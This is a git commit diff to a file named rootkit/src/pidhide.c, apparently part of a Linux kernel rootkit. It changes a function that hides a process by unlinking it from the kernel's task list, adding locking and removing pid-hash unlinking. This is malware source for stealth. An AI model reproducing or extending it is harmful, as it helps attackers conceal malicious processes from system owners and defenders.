commit e38704872d1fe0632e99c5da65cbe259156d32ea parent 3e98a0f5f08cbac9a659c73a633dcdeab8e1e14b Author: deurzen <m.deurzen@tum.de> Date: Mon, 25 Jan 2021 03:33:50 +0100 fixes bugs Diffstat:
M | rootkit/src/pidhide.c | | | 14 | ++------------ |
1 file changed, 2 insertions(+), 12 deletions(-)
diff --git a/rootkit/src/pidhide.c b/rootkit/src/pidhide.c @@ -83,20 +83,10 @@ hide_pid(pid_t pid) if (!ts) return; + write_lock_irq(rwlock); ts->tasks.prev->next = ts->tasks.next; ts->tasks.next->prev = ts->tasks.prev; - - int i; - struct pid *spid = get_task_pid(ts, PIDTYPE_PID); - - for (i = 0; i <= spid->level; i++) { - struct upid *upid = spid->numbers + i; - - if(upid->pid_chain.next) - upid->pid_chain.next->pprev = upid->pid_chain.pprev; - - *upid->pid_chain.pprev = upid->pid_chain.next; - } + write_unlock_irq(rwlock); } void